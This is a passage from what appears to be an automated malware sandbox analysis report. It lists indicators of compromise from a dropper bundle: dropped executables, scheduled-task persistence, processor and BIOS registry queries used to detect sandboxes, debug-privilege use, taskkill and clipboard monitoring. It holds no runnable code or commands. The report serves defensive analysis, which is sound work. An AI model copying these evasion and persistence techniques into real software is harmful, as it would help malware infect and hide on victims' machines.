modification C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe 83rQNR7RSbxdY8xX2J7rAyEE.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini 83rQNR7RSbxdY8xX2J7rAyEE.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe xjikSqBs9p71niqBEOVxN0cY.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.exe Setup.exe File created C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.ini Setup.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe -
Drops file in Windows directory 1 IoCs
Processes:
WerFault.exedescription ioc process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 64 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4928 860 WerFault.exe 1HwuLZOI_ia2IDtVepwPgTM7.exe 1120 2396 WerFault.exe xh0nODyBNlZlURB4Fb2VtkzP.exe 3180 3204 WerFault.exe KPIi6venqhklUEudwrH7yto5.exe 2256 560 WerFault.exe 3yVTDofbAXuNCSkNG6JIEdzA.exe 5988 864 WerFault.exe Cz2mJKDOU6JIpIwSwjt1s13E.exe 3964 1776 WerFault.exe SbFnp3JBK5VZBGiEynEtSQEe.exe 5008 3008 WerFault.exe rundll32.exe 6156 3788 WerFault.exe r8ZSgypTHmqCMQUO_Hacoo3q.exe 6464 6824 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 7348 7952 WerFault.exe rundll32.exe 716 1420 WerFault.exe b_sIp1i9t84MS7P5nKEJxyEy.exe 7356 8476 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 2196 7768 WerFault.exe muQDxtj0UnsrCA4kiLdFmQ0g.exe 8304 8872 WerFault.exe HSyCeLswLtnKLr1JGGXchIA7.exe 8016 9124 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 10208 2012 WerFault.exe 4309220.exe 9828 6284 WerFault.exe tqDpIYYNNMYoCL8uIbjApvoR.exe 9884 5092 WerFault.exe rundll32.exe 5740 1244 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 3488 9916 WerFault.exe 1ilDxDVZDYSPxzk74ziJDSOK.exe 5212 8120 WerFault.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe 10416 6348 WerFault.exe 1748141.exe 9632 6656 WerFault.exe 6021749.exe 10540 7704 WerFault.exe 2562092.exe 7232 7336 WerFault.exe 8571699.exe 7576 2940 WerFault.exe 4093911.exe 5576 9208 WerFault.exe 3736358.exe 11004 9692 WerFault.exe 2768738.exe 6436 10168 WerFault.exe 2472343.exe 10480 1940 WerFault.exe 5880565.exe 10536 8580 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 5772 10864 WerFault.exe 1713062.exe 10828 4216 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6104 5800 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 5420 7424 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 10828 10932 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 6092 7244 WerFault.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe 4440 2912 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 12708 6296 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 9840 12512 WerFault.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe 1256 2272 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 2228 1352 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 7644 13272 WerFault.exe x9A7zksb2bNiKlCcEJwaFrCp.exe 4408 12684 WerFault.exe x9A7zksb2bNiKlCcEJwaFrCp.exe 7792 8140 WerFault.exe 468MAX86kZBlx4ZNrrJVNKK8.exe 3120 8696 WerFault.exe x9A7zksb2bNiKlCcEJwaFrCp.exe 12612 5756 WerFault.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe 11512 13640 WerFault.exe PvWSUKT7mAH6NZ1rCTu4bLlN.exe 14636 14816 WerFault.exe Yuvk9b6ccodvNsR2JwuxBAfz.exe 14712 15084 WerFault.exe 6Ghd6tbPXeIptbY5eR0zjYBH.exe 13972 14392 PvWSUKT7mAH6NZ1rCTu4bLlN.exe 11976 2180 16092 15408 16752 12136 17328 16604 16412 16808 14624 15240 23420 22432 24368 6316 28548 18596 28348 21864 28236 12596 19808 29476 21624 16824 -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exePvWSUKT7mAH6NZ1rCTu4bLlN.exeWerFault.exeWerFault.exeWerFault.exex9A7zksb2bNiKlCcEJwaFrCp.exeWerFault.exeWerFault.exe4050658.exeWerFault.exeWerFault.exeYuvk9b6ccodvNsR2JwuxBAfz.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 PvWSUKT7mAH6NZ1rCTu4bLlN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision x9A7zksb2bNiKlCcEJwaFrCp.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision PvWSUKT7mAH6NZ1rCTu4bLlN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz 4050658.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision 4050658.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Yuvk9b6ccodvNsR2JwuxBAfz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Yuvk9b6ccodvNsR2JwuxBAfz.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier Yuvk9b6ccodvNsR2JwuxBAfz.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier PvWSUKT7mAH6NZ1rCTu4bLlN.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 4050658.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision Yuvk9b6ccodvNsR2JwuxBAfz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Yuvk9b6ccodvNsR2JwuxBAfz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 4050658.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 4050658.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 8876 schtasks.exe 4532 schtasks.exe 5496 schtasks.exe 5432 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 2764 timeout.exe 11084 timeout.exe 10556 timeout.exe -
Enumerates system info in registry 2 TTPs 31 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exePvWSUKT7mAH6NZ1rCTu4bLlN.exeWerFault.exe4050658.exex9A7zksb2bNiKlCcEJwaFrCp.exeYuvk9b6ccodvNsR2JwuxBAfz.exeWerFault.exeWerFault.exeWerFault.exemsedge.exeWerFault.exeWerFault.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU PvWSUKT7mAH6NZ1rCTu4bLlN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS 4050658.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS x9A7zksb2bNiKlCcEJwaFrCp.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Yuvk9b6ccodvNsR2JwuxBAfz.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU x9A7zksb2bNiKlCcEJwaFrCp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS PvWSUKT7mAH6NZ1rCTu4bLlN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Yuvk9b6ccodvNsR2JwuxBAfz.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU 4050658.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 4 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 4404 taskkill.exe 5220 taskkill.exe 8700 taskkill.exe 9840 taskkill.exe -
Modifies data under HKEY_USERS 43 IoCs
Processes:
sihclient.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs sihclient.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates sihclient.exe Key created \REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root sihclient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople sihclient.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 366 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 88 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 92 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 139 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 153 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 344 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeJ77cmUgJX0OQi4nZtiqUPG2L.exex9A7zksb2bNiKlCcEJwaFrCp.exeYuvk9b6ccodvNsR2JwuxBAfz.exeWerFault.exemsedge.exemsedge.exeWerFault.exePvWSUKT7mAH6NZ1rCTu4bLlN.exeSetup.exetp2MRmBOTGpUYV_b7fro7XIm.exeWerFault.exe2537226.exe2580479.exeidentity_helper.exe4849177.exeBcYTY2JXtkuAtChqtILjkTTh.exe4309220.exepid process 4388 Setup.exe 4388 Setup.exe 1120 WerFault.exe 1120 WerFault.exe 3180 WerFault.exe 3180 WerFault.exe 4928 WerFault.exe 4928 WerFault.exe 2256 WerFault.exe 2256 WerFault.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5368 J77cmUgJX0OQi4nZtiqUPG2L.exe 5988 x9A7zksb2bNiKlCcEJwaFrCp.exe 5988 x9A7zksb2bNiKlCcEJwaFrCp.exe 3964 Yuvk9b6ccodvNsR2JwuxBAfz.exe 3964 Yuvk9b6ccodvNsR2JwuxBAfz.exe 5008 WerFault.exe 5008 WerFault.exe 6516 msedge.exe 6516 msedge.exe 5016 msedge.exe 5016 msedge.exe 6156 WerFault.exe 6156 WerFault.exe 6464 PvWSUKT7mAH6NZ1rCTu4bLlN.exe 6464 PvWSUKT7mAH6NZ1rCTu4bLlN.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 6668 Setup.exe 2152 tp2MRmBOTGpUYV_b7fro7XIm.exe 2152 tp2MRmBOTGpUYV_b7fro7XIm.exe 7348 WerFault.exe 7348 WerFault.exe 5536 2537226.exe 5536 2537226.exe 3496 2580479.exe 3496 2580479.exe 8792 identity_helper.exe 8792 identity_helper.exe 6024 4849177.exe 6024 4849177.exe 2348 BcYTY2JXtkuAtChqtILjkTTh.exe 2348 BcYTY2JXtkuAtChqtILjkTTh.exe 2012 4309220.exe 2012 4309220.exe -
Suspicious behavior: SetClipboardViewer 3 IoCs
Processes:
WinHoster.exe4076929.exe7620916.exepid process 6392 WinHoster.exe 7160 4076929.exe 7268 7620916.exe -
Suspicious use of AdjustPrivilegeToken 35 IoCs
Processes:
QU2OVBU5HGnIhS7hhd4pOPiv.exeWerFault.exeun9LQrwOV2iHPurv5fMmo2bD.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe2580479.exe2537226.exetp2MRmBOTGpUYV_b7fro7XIm.exe4849177.exePBrowFile15.exe4309220.exeYuvk9b6ccodvNsR2JwuxBAfz.exeLivelyScreenRecS3.0.exeBcYTY2JXtkuAtChqtILjkTTh.exex9A7zksb2bNiKlCcEJwaFrCp.exe6021749.exe6Ghd6tbPXeIptbY5eR0zjYBH.exe1167733.exe1748141.exe8571699.exex9A7zksb2bNiKlCcEJwaFrCp.exesvchost.exe2562092.exex2ARhHhqm2nRHegZfup3BisP.exe2293663.exe3084587.exe1007247.exe468MAX86kZBlx4ZNrrJVNKK8.exedescription pid process Token: SeDebugPrivilege 4728 QU2OVBU5HGnIhS7hhd4pOPiv.exe Token: SeRestorePrivilege 4928 WerFault.exe Token: SeBackupPrivilege 4928 WerFault.exe Token: SeBackupPrivilege 4928 WerFault.exe Token: SeDebugPrivilege 4936 un9LQrwOV2iHPurv5fMmo2bD.exe Token: SeDebugPrivilege 4404 6Ghd6tbPXeIptbY5eR0zjYBH.exe Token: SeDebugPrivilege 3496 2580479.exe Token: SeDebugPrivilege 5536 2537226.exe Token: SeDebugPrivilege 2152 tp2MRmBOTGpUYV_b7fro7XIm.exe Token: SeDebugPrivilege 6024 4849177.exe Token: SeDebugPrivilege 5316 PBrowFile15.exe Token: SeDebugPrivilege 2012 4309220.exe Token: SeDebugPrivilege 5560 Yuvk9b6ccodvNsR2JwuxBAfz.exe Token: SeDebugPrivilege 2140 LivelyScreenRecS3.0.exe Token: SeDebugPrivilege 2348 BcYTY2JXtkuAtChqtILjkTTh.exe Token: SeDebugPrivilege 3984 x9A7zksb2bNiKlCcEJwaFrCp.exe Token: SeDebugPrivilege 6656 6021749.exe Token: SeDebugPrivilege 5140 6Ghd6tbPXeIptbY5eR0zjYBH.exe Token: SeDebugPrivilege 5328 1167733.exe Token: SeDebugPrivilege 6348 1748141.exe Token: SeDebugPrivilege 7336 8571699.exe Token: SeDebugPrivilege 984 x9A7zksb2bNiKlCcEJwaFrCp.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeTcbPrivilege 7408 svchost.exe Token: SeDebugPrivilege 7704 2562092.exe Token: 